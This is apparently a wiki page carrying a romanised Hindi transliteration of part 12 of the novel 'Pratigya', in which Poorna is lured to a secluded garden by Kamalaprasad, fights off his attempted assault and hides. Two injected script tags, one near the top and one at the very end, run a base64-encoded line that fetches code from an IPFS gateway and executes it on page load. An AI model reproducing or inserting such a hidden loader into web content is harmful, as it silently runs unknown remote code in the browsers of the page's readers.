प्रतिज्ञा उपन्यास भाग-12

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

poorna kitana hi chahati thi ki kamalaprasad ki or se apana man hata le, par yah shanka usake hriday mean sama gee thi ki kahian inhoanne sachamuch atm-hatya kar li to kya hoga? rat ko vah kamalaprasad ki upeksha karake chali to aee thi, par shesh rat usane chianta mean kati. usaka vichalit hriday pati-bhakti, sanyam aur vrat ke viruddh bhaanti-bhaanti ki tarkanaean karane laga. kya vah mar jati, to usake pati punarvivah n karate? abhi unaki avastha hi kya thi? pachchis varsh ki avastha mean kya vidhur jivan ka palan karate? kadapi nahian. ab use yad hi n ata tha ki pandit vasant kumar ne usake sath kabhi itana anurakt prem kiya tha. unhean itana avakash hi kahaan tha. sare din to daftar mean baithe rahate the, phir unhoanne use sukh hi kya pahuanchaya? ek-ek paise ki tangi rahati thi, sukh kya pahuanchate. unake sath bhi ro-ro kar hi ziandagi katati thi. kya ro-ro kar pran dene ke lie usaka janm hua hai? svarg aur narak sab dhakosala hai. ab isase duahkhadaee narak kya hoga? jab narak hi mean rahana hai, to narak hi sahi. kam-se-kam jivan ke kuchh din anand se kateange; jivan ka kuchh sukh to milega. jisase prem ho, vahi apana sab kuchh. vivah aur sanskar sab dikhava hai? char akshar sanskrit padh lene se kya hota hai? matalab to yahi hai n kisi prakar stri ka palan-poshan ho. uanh, is chianta mean kyoan koee mare? vivah kya stri ko purush se baandh deta hai? vah bhi man mile hi ka sauda hai. stri aur purush ka man n mila to vivah kya mila dega? bina vivah hue stri-purush ajivan prem se rahate haian. kutsit bhavanaoan mean poorna ne bhor kar diya.

pratahkal vah baloan mean kanghi kar rahi thi ki sumitra a kar kh di ho gee poorna ne mridubhav se kaha - 'baitho bahan, aj to b de sabere niand khul gee.'

sumitra ne tivr svar mean kaha - 'niand aee hi kise thi?'

poorna - 'n jane kis tabiyat ke adami haian.'

sumitra - 'kya tumane abhi tak unaki chah nahian paee? tum to in batoan mean chatur ho.'

poorna ne ashankit netroan se usaki or dekh kar kaha - 'maian yah vidya nahian padhi hooan.'

sumitra - 'pahale maian bhi aisa hi samajhati thi par ab maloom hua ki mujhe dhokha hua tha.'

poorna ne krodh ka bhav dharan karake kaha - 'tum to bahan aj l dane aee ho.'

sumitra - 'haan, aj l dane hi aee hooan. ham donoan ab is ghar mean nahian rah sakatian.'

poorna ne isaka kuchh javab n diya. aisa jan p da, mano prithvi ne apane sare bojh se daba diya hai.

sumitra ne phir kaha - 'tumane jab pahale-pahal is ghar mean qadam rakhe the, tabhi maian khataki thi. mujhe usi vakt yah sanshay hua tha ki tumhara yauvan aur us par saras svabhav mere lie ghatak hoga, isilie maianne tumhean apane sath rakhana shuroo kiya tha. lekin honahar ko kaun tal sakata tha? maian janati hooan, tumhara hriday nishkapat hai. agar tumhean koee n chhe data to tum jivan-paryant apane vrat par sthir rahatian. lekin pani mean rah kar halakoroan se bache rahana tumhari shakti ke bahar tha. be-langar ki nav laharoan mean sthir nahian rah sakati. p de hue dhan ko utha lene mean kise sankoch hota hai? maianne apani aankhoan sab kuchh dekh liya hai poorna. tum dulak nahian sakati. maian jo kuchh kah rahi hooan tumhare hi bhale ke lie kah rahi hooan. ab bhi agar bach sakati ho to us kukarmi ka saya bhi apane oopar n p dane do. yah n samajho ki maian apane lie, apane pahaloo ka kaanta nikalane ke lie tumase ye batean kar rahi hooan maian jaisi tab thi vaisi hi ab hooan. mere lie 'jaise kaanta ghar rahe vaise rahe videsh.' mujhe tumhari chianta hai. yah pishach tumhean kahian ka n rakhega. maian tumhean ek salah deti hooan. kaho kahooan, kaho n kahooan?'

poorna ne muanh se to koee uttar n diya, keval ek bar glanimay netroan se dekh kar sir jhuka liya.

sumitra boli - 'usase tum saph-saph kah do ki vah tumase vivah kar le.'

poorna ne vispharit netroan se dekha.

sumitra - 'vivah mean keval ek bar ki jag-hansaee hai phir koee kuchh n kah sakega. is bhaanti luk-chhip kar milana to atma aur paralok donoan hi ka sarvanash kar dega. usake prem ki pariksha bhi ho jaegi. agar vah vivah karane par raji ho jae to samajh lena ki use tumase sachcha prem hai. nahian to samajh lena usane kamavasana ki dhun mean tumhari abaroo biga dane ka nishchay kiya hai. agar vah inakar kare, to usase phir n bolana n usaki soorat dekhana. maian kaho likh dooan ki vah vivah karane par kabhi raji n hoga. vah tumhean khoob sabj-bag dikhaega, tarah-tarah ke bahane karega, magar khabaradar usaki batoan mean n ana! pakka jaliya hai! rahi maian! maianne to man mean than liya hai ki lala ke mukh mean kalikh pot dooangi. bala se meri abaroo jae, bala se sarvanash ho jae, magar inhean kahian muanh dikhane layaq n rakhooangi.'

poorna ne aankhoan mean aansoo bhare hue kaha - 'maian hi kyoan n muanh mean kalikh laga kar kahian doob marooan, bahan!'

sumitra - 'tumhare doob marane se mera kya upakar hoga? n vah apana svabhav chho d sakate haian, n maian apana svabhav chho d sakati hooan. n vah paisoan ko daant se pak dana chhodeange aur n maian paisoan ko tuchchh samajhana chho dooangi. unhean chhichhorepan se prem hai, apane muanh miyaan mitthoo banane ka khabt. mujhe in batoan se ghrina hai. ab tak maianne unhean itana chhichhora n samajha tha. samajhati thi, vah prem kar sakate haian. svayan unase prem karane ki cheshta karati thi, par rat jo kuchh dekha, usane unaki rahi-sahi bat bhi mita di aur sari buraiyaan sah sakati hooan, kiantu lanpatata ka sahan karana meri shakti ke bahar hai. maian eeshvar ko sakshi de kar kahati hooan poorna, tumhari or se koee shikayat nahian. tumhari taraph se mera dil bilkul saf hai. balki mujhe tumhare oopar daya ati hai. maianne yadi krodh mean koee kathor bat kah di ho, to kshama karana. jalate hue hriday se dhuean ke siva aur kya nikal sakata hai?'

poorna ka sara sharir thar-thar kaanp raha tha, mano prithvi niche dhansi jati thi. usaka man kabhi itana durbal n hua tha. vah koee apatti n kar saki. usaka jivan is samay sumitra ki mutthi mean tha. sumitra ki jagah vah hoti to kya vah itani udar ho sakati thi? kadapi nahian. vah use vish khila deti, usake gale par chhuri chala deti. is daya ne abhagini poorna ko itana prabhavit kiya ki vah roti huee usake pairoan par gir kar sisakiyaan bhar kar boli - 'bahan, mujh par daya karo!'

sumitra ne use utha kar chhati se lagate hue kaha - 'maianne to kah diya bahan, ki mera dil tumhari or se saf hai. bas, ab to aisi yukti nikalani chahie ki is dhoort se pichha chhoote. use tumhari or takane ka bhi sahas n ho. use tum abaki kutte ki bhaanti dutkar do.'

poorna ne din svar mean kaha - 'bahan! maian kya karati? meri jagah tum hotian, to shayad tum bhi vahi karati, jo maianne kiya. unhoanne apane pran de dalane ki dhamaki di hai.'

sumitra ne hans kar kaha - 'to kya tum samajhati ho, yah dhamaki sun kar maian bhi usake samane sir jhuka deti? hazar bar nahian! maian saf kahati, zaroor pran de do. kal dete ho to aj hi de do. tumase n bane to lao maian maut ke ghat utar dooan. in dhoort lanpatoan ka yah bhi ek lataka hai. isi tarah prem jata kar ye ramaniyoan par apana rang jamate haian. aise behaya mara nahian karate. marate haian ve, jinamean saty ka bal hota hai. aise vishay-vasana ke putale mar jaean, to sansar svarg ho jae. ye dusht veshyaoan ke pas nahian jate. vahaan jate inaki nani marati hai. pahale to veshya devi bharapoor pooja lie sidhe muanh bat nahian karati, doosare vahaan shahar ke guandoan ka jamaghat rahata hai, kahian kisi se muthabhe d ho jae, to lala ki haddi-pasali choor kar dean. ye aise hi shikar ki toh mean rahate haian, jahaan n paise ka kharch hai, n pitane ka bhay - harr lage n phitakari aur rang chahean chokha. chikani-chup di batean ki, prem ka svaang bhara aur bas, ek nishchhal hriday ke svami ban baithean.'

poorna ne kuchh dhrishtata se kaha - 'meri buddhi par jane kyoan parda p d gaya?'

sumitra ne dhairy dete hue kaha - 'tumhare lie yah koee nee bat nahian hai, bahan aisa parda p dana koee anokhi bat nahian. maian svayan nahian kah sakati ki prem ki mithi batoan mean p d kar kya kar baithati. yah mamala b da najuk hai bahan? dhan se adami ka ji bhar jae, prem se tripti nahian hoti. aise kan bahut kam haian, jo prem ke shabd sun kar phool n uthean.'

sahasa kamalaprasad hath mean ek patr lie hue aya, par dvar ke aandar qadam rakhate hi sumitra ko dekha, to kuchh jhijhakate hue bola - 'poorna, prema ne tumhean bulaya hai, maianne ga di jotane ko kah diya hai, chalo tumhean pahuancha dooan. poorna ne sumitra ki or dekha, mano poochh rahi hai ki tumhari kya ray hai, par sumitra divar ki or tak rahi thi, mano use poorna se koee sarokar hi nahian.'

poorna ne hichakate hue kaha - 'ap jaean, maian kisi vakt chali jaooangi.'

kamalaprasad - 'nahian, shayad koee zaroori kam hai. usane abhi bulaya hai.'

poorna ne phir sumitra ki or dekha, par sumitra abhi tak divar ki or tak rahi thi. n 'haan' kahate banata tha n 'nahian'. prema se vah idhar mahinoan se n mil saki thi. usase milane ke lie chitt lalayit ho raha tha. n jane kyoan bulaya hai? itani jaldi bulaya hai to avashy koee zaroori kam hoga. raste bhar ki bat hai, inake sath jane mean haraj hi kya hai? vahaan do-char din rahane se dil bahal jaega. in mahashay se piand chhoot jaega. yah soch kar usane kaha - 'ap kyoan kasht kijiega. maian akeli chali jaooangi.'

kamalaprasad ne jhuanjhala kar uttar diya - 'achchhi bat hai, jab ichchha ho chali jana, maian to isi vakt ja raha hooan. dan baboo se kuchh batean karani haian, maianne tumhare aram ke khyal se kaha tha ki isi ga di par tumhean bhi leta chalata.'

poorna ab koee apatti n kar saki. boli - 'to kab jaiega?'

kamalaprasad ne dvar ke bahar qadam rakhate hue kaha - 'maian to taiyar hooan.'

poorna bhi chatapat taiyar ho gee. kamalaprasad chala gaya to usane sumitra se kaha - 'inake sath jane mean kya haraj hai?'

sumitra ne ashvasan dete hue kaha - 'sath jane mean b da haraj hai, magar dekho mujhe bhool n jana, jaldi hi ana.'

yah vaky sumitra ne keval shishtachar ke bhav se kaha. dil mean vah poorna ke jane se prasann thi. poorna ka man kamalaprasad ki or se pher dene ke bad ab usake lie isase badh kar aur kaun-si bat ho sakati thi. ki un donoan mean kuchh dinoan ke lie vichchhed ho jae. poorna ab yahaan ane ke lie utsuk n hogi, aur prema khud usase jane ko kyoan kahane lagi? usake yahaan rahana svikar kar le to muanh-maangi mil jae. sumitra ko poorna ke chale jane hi mean apana uddhar dikhaee diya.'

lekin jab poorna taange par baithi aur dekha ki gho de ki ras kisi kochavan ke hath mean nahian, kamalaprasad ke hath mean hai, to usaka hriday ajnat shanka se dahal utha. ek bar ji mean aya ki taange se utar p de, par isake lie koee bahana n soojha. vah isi duvidha mean p di huee thi ki kamalaprasad ne gho de ko chabuk lagaee, taanga chal p da.'

kuchh door tak taanga parichit marg se chala. vahi mandir the, vahi dookanean thi. poorna ki shanka door hone lagi, lekin ek mo d par taange ko ghoomate dekh kar poorna ko aisa abhas hua ki sidha rasta chhoota ja raha hai. usane kamalaprasad se poochha - 'idhar se kahaan chal rahe ho?'

kamalaprasad ne nishchiant bhav se kaha - 'udhar pher tha. is raste se jald pahuancheange. poorna chup ho gee. kee minat tak gali mean chalane ke bad taanga chau di s dak par pahuancha. isake bad usane relave-lain par ki. ab abadi bahut kam ho gee thi. keval door-door par aangrejoan ke bangale bane hue the.'

poorna ne ghabara kar poochha - 'yah tum mujhe kahaan lie chalate ho?'

'jara apane bagiche tak chal raha hooan. kuchh der vahaan bag ki sair karake tab prema ke ghar chaleange.'

'tumane bagiche ka to zikr bhi nahian kiya tha, nahian to maian kabhi nahian ati.'

'are das minat ke lie yahian rook jaogi, to aisa kaun-sa anarth ho jaega?'

'taanga lauta do, nahian maian kood p dooangi.'

'kood p dogi to hath-pair toot jaeange, mera kya big dega?'

poorna ne sanshak netroan se kamalaprasad ko dekha. vah use nirjan sthan mean kyoan le aya hai? kya usane man mean kuchh aur thani hai? nahian, vah itana nich, itana adham nahian ho sakata aur bagiche par, das-paanch minat rook jane hi mean kya big d jaega? akhir vahaan bhi to naukar-chakar hoange.'

jara der mean bagicha a pahuancha. kamalaprasad ne taange se utar kar phatak khola. use dekhate hi do mali dau de hue ae. ek ne gho de ki ras pak di doosare ne kamalaprasad ka haiandabaig utha liya. kamalaprasad ne poorna ko ahiste se taange par se utara aur use bhitar ke saje hue bangale mean le ja kar bola - 'yah jagah to aisi buri nahian hai ki yahaan ghante-do ghante thahara n ja sake.'

poorna ne kaushal se atm-raksha karane ki thani thi. boli - 'prema meri rah dekh rahi hogi. isi se jaldi kar rahi thi.'

kamalaprasad - 'aji batean n banao, maian sab samajhata hooan. tum mujhe aisa duratma samajhati ho, isaka mujhe guman bhi n tha. vah devi jisake ek ishare par maian apane pranoan ka visarjan karane ko taiyar hooan, mujhe itana nich aur bhrasht samajhati hai, yah mere lie doob marane ki bat hai.'

poorna ne lajjit ho kar kaha - 'tumane kaise samajh liya ki maian tumhean nich aur bhrasht samajhati hooan?'

kamalaprasad - 'akhir ga di se kood p dane ko kyoan taiyar thi? kyoan bar-bar taanga lauta dene ka zikr kar rahi thi. chadar utar dalo, jara aram se baitho, yah bhi apana hi ghar hai, koee saray nahian. haan, ab batao tum mujhase kyoan itana darati ho? kya maian hatyara hooan? lanpat hooan? lutera hooan? uchakka hooan? maianne tumhare sath aisa kaun-sa vyavahar kiya hai, jisase tumane mere vishay mean aisi ray jama li? maianne tumhari ichchha ke viruddh muanh se ek shabd bhi nahian nikala. phir bhi tum mujhe itana nich samajhati ho. tumhari is durbhavana ka ek hi karan ho sakata hai. sumitra ne tumhare kan bhare haian. aj maianne dekha, vah tumhare pas baithi gappe haank rahi thi. tum usaki batoan mean a geean. maian janata hooan, usane mere vishay mean khoob zahar ugala hoga. mujhe dagabaj, kamina, lanpat sabhi kuchh kaha hoga. yah sab keval isalie ki tumhara dil mujhase phir jae. maian usaki nas-nas pahachanata hooan. vah agar mujhe apani mutthi mean rakh sake to maian usaka upasy svami, eeshvar sab kuchh hooan. usaki mutthi mean n rahooan to lanpat, dusht, dhoort hooan. usake lie yah asahy hai ki maian kisi ki or aankh utha kar dekh bhi looan. nahian, vah mujhe apana kutta bana kar rakhana chahati hai. nity pichhe apani dum hila-hila kar dau data phirooan, usaki avaz sunate hi a kar usake paanv chatane lagooan, tab vah mujhe apani mej par bithaegi, god mean utha kar pyar karegi, thapakegi, sahalaegi, lekin kahian usake ishare par dau da hua n aya, to phir danda, hantar, thokar ke lie mujhe taiyar rahana chahie. agar maian kutta ban kar rah sakata, aj mujh-sa bhagyavan sansar mean koee n hota. lekin durbhagy hai ki mujhamean vah gun nahian. maian purush hooan aur purush hi rahana chahata hooan.'

poorna ke hriday se sumitra ka jadoo utarane laga. asthirata durbal atmaoan ka mukhy lakshan hai. un par n batoan ko jamate der lagati hai n mitate. boli - 'vah to sara aparadh tumhara hi batati haian.'

'haan-haan, vah to bataeangi hi aur kya kahati thian?'

'saik doan batean kian, kahaan tak kahooan? yad bhi to nahian.'

'tabhi tum mere sath ate ghabarati thi. tumhean yah bag pasand hai.'

'jagah to buri nahian.'

'ji chahata hai ekadh mahina tumhean yahian rakhooan.'

'sumitra bhi rahane par raji hoan tab n.'

'use to maian bhool kar bhi n laooan.'

'to maian akeli yahaan kaise rahooan.'

'tumhare yahaan rahane ki kisi ko khabar hi n hogi. tumhare vriandavan jane ki bat u da di jaegi par rahogi tum isi bagiche mean! maian keval ek bar ghar chala jaya karooanga. yahaan ke adamiyoan ko takid kar di jaegi - kisi ko kanoankan khabar n hogi. us anand ki kalpana se mera hriday nach uthata hai. vahi jivan mere saansarik anand ka svarg hoga. koee bat eeshvar ki ichchha ke bina nahian hoti poorna? ek patta bhi usaki ajna ke bina nahian hil sakati. sumitra mujhase rusht hai, to yah eeshvar ki ichchha hai. tumhari mujh par kripa hai, to yah bhi eeshvar ki ichchha hai. kya hamara aur tumhara sanyog eeshvar ki ichchha ke bina ho sakata hai? kabhi nahian, kabhi nahian. yah lila vah kyoan khel raha hai, yah ham aur tum nahian samajh sakate, poorna! b de-b de rrirshi-muni bhi nahian samajh sakate, par ho raha hai sab usi ichchha se. dharm aur adharm yah sab dhakosala hai. agar abhi tak tumhare man mean koee dharmik shanka ho, to use ab nikal dalo. aj se tum meri praneshvari ho aur maian tumhara das.'

yah kahate-kahate kamalaprasad ne poorna ka hath pak d kar apani gardan mean dal liya aur donoan premaliangan mean magn ho ge. poorna jara bhi n jhijhaki, apane ko chhu dane ki jara cheshta n ki, kiantu usake mukh par praphullata ka koee chihn tha, n adharoan par muskan ki rekha thi, n kapoloan par gulab ki jhalak, n nayanoan mean anurag ki lalima. usaka mukh murajhaya hua tha, niche jhuki huee aankhean aansuoan se bhari huee, sari deh shithil-si jan p dati thi.

kamalaprasad ne poochha - 'udas kyoan ho, priye? yah to anand ka samay hai.'

poorna ne glanimay svar mean kaha - 'udas to nahian hooan.'

poorna kyoan udas thi, vah ise kamalaprasad se n kah saki. use is samay vasant kumar ki yad n thi, adharm ki shanka n thi, balki kamalaprasad ke pragadh aliangan mean magn is samay use yah shanka ho rahi thi ki is pranay ka aant bhi kya vaisa hi bhayankar hoga? nirmam vidhi lila phir usaka sukh-svapn to n bhang kar degi. vah drishy usaki aankhoan mean phir gaya, jab pahale-pahal usake svami ne use gale lagaya tha. us samay usaka hriday kitana nishank, kitani umangoan se bhara hua tha, par is samay umangoan ki jagah shankaean thian, badhaean thian.

vah isi goodh chetana ki dasha mean thi ki kamalaprasad ne dhire se use ek koch par leta diya aur dvar band karane ja raha tha ki poorna ne usake mukh ki or dekha, aur chauank p di. kamalaprasad ki donoan aankhoan se chinagariyaan-si nikal rahi thian. vah aantarik ullas ki divy-madhur jyoti n thi, yah kisi hiansak pashu ki rakt-kshudha ka pratibianb tha. isamean premi ki pradipt akaanksha nahian, grishm ka hiansa-sankalp tha. isamean shravan ke shyam meghoan ki sukhad chhavi nahian, grishm ke meghoan ka bhishan pravah tha. isamean sharad rritu ke nirmal jal-pravah ka komal sangit nahian, pavas ki pralayankari badh ka bhayankar nad tha. poorna saham uthi. jhapat kar koch se uthi, kamalaprasad ka hath jhatake se khiancha aur dvar khol kar baramade mean nikal aee.

kamalaprasad ne kroor drishti se dekh kar kaha - 'kyoan-kyoan, poorna? kahaan jati ho?'

poorna ne nirbhay ho kar kaha - 'maian ghar jaooangi? taanga kahaan hai?'

'ghar jane ki abhi kya jaldi hai? tum dar kyoan gee?'

'taanga lao, maian jaooangi.'

'itani jaldi to tum n jo sakogi poorna! akhir ekaek tumhean yah kya ho gaya?'

'kuchh hua nahian maian yahaan ek kshan bhar bhi nahian rahana chahati'

'aur yadi maian n jane dooan?'

'tum mujhe rok nahian sakate?'

'man lo, maian rok hi looan?'

'to maian, chilla kar shor machaooangi.'

kamalaprasad ne hans kar kaha - 'tumhara shor sunanevala yahaan hai hi kaun? tum ab mere kaboo mean ho. ab yahaan se bach kar nahian ja sakati, donoan mali mere naukar haian. ve ab kabhi n aeange. tisara adami yahaan mil bhar tak nahian.'

poorna ne kamalaprasad ki or agney netroan se dekh kar kaha - 'kamalaprasad baboo maian hath jo d kar kahati hooan, mujhe tum yahaan se jane do, nahian to achchha n hoga. socho, abhi ek minat pahale tum mujhase kaisi batean kar rahe the? kya tum itane nirlajj ho ki mujh par balatkar karane ke lie bhi taiyar ho? lekin tum dhokhe mean ho. maian apana dharm chho dane ke pahale ya to apane pran de dooangi ya tumhare pran le looangi.'

kamalaprasad ne hansi u date hue kaha - 'tab to tum sachamuch vir mahila ho. magar khed yahi hai ki yah rang-manch nahian hai, yahaan tumhari virata par taliyaan bajane vala koee nahian hai.'

yah kahate hue kamalaprasad ne ek qadam age rakha aur chaha ki poorna ka hath pak d le. poorna pichhe hat gee. kamalaprasad aur age badha. sahasa poorna ne donoan hathoan se kursi utha li aur use kamalaprasad ke muanh par jhoank diya. kursi ka ek paya poore zor ke sath kamalaprasad ke muanh par p da, nak mean gahari chot aee aur ek daant bhi toot gaya. kamalaprasad is jhoanke se n sanbhal saka. charoan khane chitt zamin par gir p da. nak se khoon jari ho gaya, use moorchchha a gee. use isi dasha mean chho d kar poorna lapak kar bagiche se bahar nikal aee. s dak par sannata tha. poorna ko ab apani jan bachane ki fikr thi. kahian use koee pak d n le. kaidi ban kar, hathak diyaan pahane hue hajaroan adamiyoan ke samane jana usake lie asahy tha. samay bilkul n tha. chhipane ki kahian jagah nahian. ekaek use ek chhoti-si puliya dikhaee di. vah lapak kar s dak ke niche utari aur usi puliya mean ghus gee.

is samay us abala ki dasha atyant karoonik thi. chhati dh dak rahi thi. pran nahoan mean samae the. jara bhi khataka hota, to vah chauank p dati. s dak par chalane valoan ki parachhaee nale mean p date dekh kar usaki aankhoan mean aandhera-sa chha jata. kahian use pak dane koee n ata ho. agar koee a gaya to, vah kya karegi? usane ek eeant apane pas rakh li thi. isi eeant ko vah apane sir par patak degi. pulis valoan ke panje mean phansane se sir patak kar mar jana kahian achchha tha. s dak par ane-jane valoan ki halachal sunaee de rahi thi. unaki batean bhi kabhi-kabhi kanoan mean p d jati thian. ek mali badariprasad ko khabar dene ko dau da gaya tha. ek ghante ke bad s dak par se ek bagghi nikali. maloom hua, badariprasad a ge. apas mean kya batean ho rahi hoangi? shayad thane mean usaki ittala ki gee ho. bagiche se ek taanga nikalata hua dikhaee diya. shayad vah d aauktar hoga. chot to aisi nahian aee lekin b de adamiyoan ke lie jara-si bat bahut ho jati hai.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>